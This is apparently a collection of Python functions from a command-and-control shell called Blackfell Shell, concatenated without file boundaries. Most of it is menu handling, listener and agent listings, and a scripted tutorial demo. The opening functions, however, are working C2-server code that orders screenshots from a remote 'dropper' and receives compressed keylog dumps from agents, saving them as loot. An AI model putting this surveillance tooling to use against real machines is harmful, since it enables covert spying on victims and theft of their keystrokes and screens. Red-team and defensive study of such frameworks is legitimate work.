def main(agent, args=None): """Order and receive screenshots from dropper, displays if requested""" try: settings = parse_args(agent, args) if not settings: bc.err("Error parsing args : {}".format(settings)) return #Setup out-file timestamp = time.strftime("-%Y-%m-%d-%H%M%S") file_name = agent.listener.loot_dir + 'screenshot' + '-' + agent.name + timestamp + '.png' #receive the file! gotsz = False raw_bytes = b'' #Get the agent to screenshot agent.send('screenshot') while True: chunk = agent.recv(print_flag=False, blocking=False) try: if not chunk: continue if not gotsz: size = chunk[8:].decode() #Size tuple as string size = (int(size.split(',')[0]), int(size.split(',')[1])) gotsz = True #print("DEBUG - Img size : {}".format(size)) elif chunk.endswith(b'<BSEOF>'): raw_bytes += chunk[:-7] break else: raw_bytes += chunk #Status info except Exception as e: bc.err( "Download screnshot chunk failed because : {}. Try again?". format(e)) break #Reconstruct the image from raw raw bytesb bc.info("Reconstructing image.") img = Image.frombytes('RGB', size, raw_bytes) if settings['show']: img.show() img.save(file_name) img.close() bc.green_print( "\n[+] ", "{} - screenshot saved to : {}".format(agent.name, file_name)) except Exception as e: bc.err_print("\n[!] ", "{} Screenshot failed : {}".format(agent.name, e)) #Flush socket chunk = b'' while b'<BSEOF>' not in chunk: chunk = agent.recv(print_flag=False, blocking=False)
def get_keylog_dump(agent, show=False): """REceive large amounts of keylog data by looping recieve function""" try: #Setup out-file timestamp = time.strftime("-%Y-%m-%d-%H%M%S") file_name = agent.listener.loot_dir + 'keylog' + '-' + agent.name + timestamp + '.txt' #receive the file! raw_bytes = b'' while True: chunk = agent.recv(print_flag=False, blocking=False) try: if not chunk: #bc.info("Empty chunk, passing") continue if chunk.endswith(b'<BSEOF>'): chunk = chunk[:-7] raw_bytes += chunk break elif b'BSEOF' in chunk: bc.err( 'Dump failed, unexpected EOF location in:\n{}.'.format( chunk)) raise ValueError("Out of place <BSEOF>") break #It's all over now else: raw_bytes += chunk #Status info except Exception as e: bc.err( "Keylog dump chunk failed because : {}. Try again?".format( e)) return #gracefully stop download operation finally: chunk = '' #REconstruct the image from raw raw bytes dump = degzip(raw_bytes) with open(file_name, 'w') as f: f.write(dump.decode()) bc.green_print( "\n[+] ", "{} - Keylog dump saved to : {}".format(agent.name, file_name)) if show: bc.success("{} keylog data:\n".format(agent.name), False) print(dump.decode()) return True except Exception as e: bc.err_print("\n[!] ", "{} Keylog dump failed : {}".format(agent.name, e)) return False
def main(): """Function that runs the Blackfell Shell C2, including setting up modules etc.""" colorama.init() #Ansi escape codes in Windows! args = get_args() check_root(args.noconfirm) ## Run the shell bs = home.BSMainMenu() if sys.platform == 'linux': #Setup PATH to point to requirements - usually in ~/.local/bin os.environ[ 'PATH'] = os.environ['HOME'] + '/.local/bin:' + os.environ['PATH'] #Handle resource files if args.resource_file: #Declare to interpreter that we're running a resource file bs.q['read'].put("RESOURCE") #Run interpreter as a thread t = threading.Thread(target=bs.cmdloop) t.start() with open(args.resource_file, 'r') as f: """Pipe commands via stdin, can't use standard run utils because we're using nested interpreters""" sys.stdin = f """Stdin doesn't reassign properly until a keypress don't ask me why it just doesn't OK? This is a workaround to get the interpreter to start. If it's stupid and it works, it's not stupid. Mostly.""" kbd = keyboard.Controller() kbd.press(keyboard.Key.enter) kbd.release(keyboard.Key.enter) #Read all the lines of resource file, then back to normal while True: #Now check if resource file done and if so, reset stdin if not bs.q['write'].empty() and bs.q['write'].get() == "DONE": bc.green_print("[+] ", " - Resource file complete.") sys.stdin = sys.__stdin__ break else: #Not done yet time.sleep(0.1) else: #bs.cmdloop() # The real thing to be done once done developing! try: bs.cmdloop() except Exception as e: print("Exception in loop : {} ".format(e)) bc.err_print("[!] ", "- Exiting.")
def do_reset(self, line): """sets an option back to the option configured as module default""" #No parsing required as no arguments for this one try: if self.module_instance.reset_option(line): #TODO - do menu - side verification of this #Like - if self.module_instance.set_attr(cmd, args) and getattr(self.module_instance.options, cmd)['value'] == args: bc.green_print("[-] ", "- Reset successfully.") else: bc.err_print("\n[!] ", "- Error, {} could not be reset.\n".format(line)) except Exception as e: bc.err_print( "\n[!] ", "- Exception whilst resetting {}:\n{}\n".format(cmd, e))
def do_execute(self, line): """runs the module, calling requirement checks and setup functions beforehand. Will exit if checks return False""" bc.blue_print("[-] ", "- Seting up module...".format(line)) if not self.module_instance.check_required(): bc.err_print("[!] ", "- Execute failed. Some required options not set.") return if not self.module_instance.setup(): bc.err_print("[!] ", "- Module test, failed.") return bc.green_print("[!] ", "- Setup complete. Executing...") if self.module_instance.run(): #Exit on true was set, module will return true and module menu will be exited. return True
def list_listeners(self): """List out just listeners, including printing them out""" bc.green_print("\n[-] ", "Listeners:\n") w, h = os.get_terminal_size() w = 0.9 * w #Scale for beauty format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.35 * w), int(0.2 * w), int(0.1 * w), int(0.35 * w)) #format_string = "{:<40} {:<20} {:<10} {:<20}" underline = "=" * int(w) bc.bold_print(format_string.format("Name", "Status", "Agents", "Info"), "") bc.blue_print(underline, "") for l in self.root_menu.listeners: print( format_string.format(l.name, 'Alive' if l.is_alive() == 1 else 'Dead', len(l.agent_list), str(l.LHOST) + ':' + str(l.LPORT))) print("")
def do_set(self, line): """Set a module option, using the set_option method in the module itself""" cmd, args, line = self.parseline(line) try: if self.module_instance.set_option(cmd, args) and args: #TODO - do menu - side verification of this #Like - if self.module_instance.set_attr(cmd, args) and getattr(self.module_instance.options, cmd)['value'] == args: bc.green_print( "[-] ", "- {} set successfully to {}.".format(cmd, args)) elif not args: bc.warn_print("[!] ", "- No value provided.") else: bc.err_print( "[!] ", "- Error, {} could not be set to {}".format(cmd, args)) except Exception as e: bc.err_print("\n[!] ", "- Exception whilst setting {}:\n{}\n".format(cmd, e))
def list_agents(self): """List out just agents, including printing them out.""" bc.green_print("\n[-] ", "Agents:\n") w, h = os.get_terminal_size() w = 0.9 * w #Scale for beauty format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.3 * w), int(0.1 * w), int(0.2 * w), int(0.1 * w), int(0.3 * w)) #format_string = "{:<30} {:<10} {:20} {:<10} {:<30}" underline = "=" * int(w) bc.bold_print( format_string.format("Name", "Activated", "Listener", "Status", "Info"), "") bc.blue_print(underline, "") for l in self.root_menu.listeners: for a in l.agent_list: print( format_string.format( str(a.name), str(a.active), str(a.listener.name), 'Alive' if a.is_alive() == 1 else 'Dead', str(a.ip) + ":" + str(a.port))) print("")
def run(self): """Main module code, called when the module is executed This module prints user provided messages to the console""" bc.success("Print incoming!") #Override with what to do with this class when it runs for time in range(self.options['num_prints']['value']): if self.get_option('color') == 'red': bc.err_print(self.options['message']['value'], '') elif self.get_option('color') == 'orange': bc.warn_print(self.options['message']['value'], '') elif self.get_option('color') == 'blue': bc.blue_print(self.options['message']['value'], '') elif self.get_option('color') == 'green': bc.green_print(self.options['message']['value'], '') else: print(self.get_option('message')) #Success variable can be used to check if sub-modules ran successfully #Unused in this case, but important if we don't want to exit failed modules. success = True if bool(self.get_option('exit_on_exec')) == True and success: bc.success("Module executed, exiting.") return True
def run(self): col = self.color['value'] msg = self.message['value'] bc.green_print("[!] ", "- Print incoming!") #Override with what to do with this class when it runs for time in range(self.num_prints['value']): if col == 'red': bc.err_print(msg, "") elif col == 'orange': bc.warn_print(msg, "") elif self.color['value'] == 'blue': bc.blue_print(msg, "") elif self.color['value'] == 'green': bc.green_print(msg, "") else: print(msg) if bool(self.exit_on_exec['value']) == True: bc.green_print("[!] ", "- Module executed, exiting.") return True
def print_loaded_methods(self): """Rationalises and prints methods loaded into the agents REports on any descrepancies to the user between agents.""" bc.green_print("[-] ", "Menu options:\n") format_string = "\t{:<15} {:<50}" underline = "\t" + "=" * 70 bc.bold_print(format_string.format("Method", "Description"), "") bc.blue_print(underline, "") for nme, hlp in self.methods.items(): print(format_string.format(str(nme[3:]), hlp)) bc.green_print("\n[-] ", "Loaded agent options:") self.check_loaded() for mod, meths in self.loaded_methods.items(): bc.green_print("\n\t[-] ", "{} Methods:\n".format(mod.title())) bc.bold_print(format_string.format("Method", "Description"), "") bc.blue_print(underline, "") for meth in meths: print(format_string.format(meth[0], meth[1])) print("")
def run(self): """Override with what to do with this class when it runs""" bc.green_print("[!] ", "- Module running!") if self.exit_on_exec == True: bc.green_print("[!] ", "- Module executed.")
def demo(): """Print a series of demo BShell commands to console""" w, h = os.get_terminal_size() w = 0.9 * w #Scale for beauty bc.info( "The BlackfellShell can be used to run any python module written for it, but the key functionality it allows is running agents." ) time.sleep(5) bc.info("All modules are called using the keyword 'use' like this:") time.sleep(5) print("BS >\r", end="") time.sleep(1) fake_type('BS > ', 'use auxiliary/example') print("") bc.info("Using module: auxiliary/example") print(""" Example module, for use in understanding the BShell. Hello world within the BShell. Prints your message a number of times. num_repeats must be a string. color can be green, red, orange or blue. """) print("BS : " + bc.green_format("modules/auxiliary/example", "") + " >") time.sleep(10) bc.info("Once you've activated a module, you'll switch to a new menu.") time.sleep(2) bc.info("This new menu will allow you to configure and run the module.") time.sleep(2) bc.info("Start by getting module info:") time.sleep(2) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'None', 'None', 'True'], ['num_prints', 'None', 'None', 'True'], ['color', 'None', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(5) bc.info("Each option in the module can be set with the 'set' keyword") time.sleep(4) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'set color red') print("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ") time.sleep(4) bc.info("Let's check it made a change.") time.sleep(4) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'None', 'None', 'True'], ['num_prints', 'None', 'None', 'True'], ['color', 'red', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(4) bc.info( "If you didn't like that, the reset keyword will set options back to default." ) time.sleep(4) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'reset color') time.sleep(2) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") time.sleep(1) bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'None', 'None', 'True'], ['num_prints', 'None', 'None', 'True'], ['color', 'None', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(4) bc.info("You must set all required options.") time.sleep(4) bc.info( "Modules will test for required options, and maybe other things when they run." ) time.sleep(4) bc.info("Let's configure the rest of this module now.") time.sleep(5) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'set message Hello, World.') time.sleep(2) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'set color red') time.sleep(2) bc.info( "You can use tab completion on most settings, just hit tab once you've started typing." ) time.sleep(5) message = "BS : " + bc.green_format("modules/auxiliary/example", "") + " > " for i in 'set nu': message += i print('{}\r'.format(message), end="") time.sleep(0.1) time.sleep(1) print('{}<TAB>\r'.format(message), end="") time.sleep(0.5) print('{}<TAB>\r'.format(message), end="") time.sleep(1) message = message + 'm_prints' print('{}\r'.format(message), end="") time.sleep(4) fake_type(message, ' 8') time.sleep(4) print("") fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") time.sleep(1) bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'Hello, World.', 'None', 'True'], ['num_prints', '8', 'None', 'True'], ['color', 'red', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(5) bc.info( "Now you're all configured, you can run the module with the 'execute' keyword" ) time.sleep(5) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'execute') time.sleep(1) bc.info("Setting up module...") bc.success("Setup complete. Executing...") bc.green_print("[-] ", "Print incoming!") for i in range(8): bc.err_print("Hello, World.", "") bc.green_print("[-] ", "Module executed, exiting.") time.sleep(5) bc.info( "Most commands have help messages you can use, just type help in any menu." ) time.sleep(3) bc.success("Good luck!")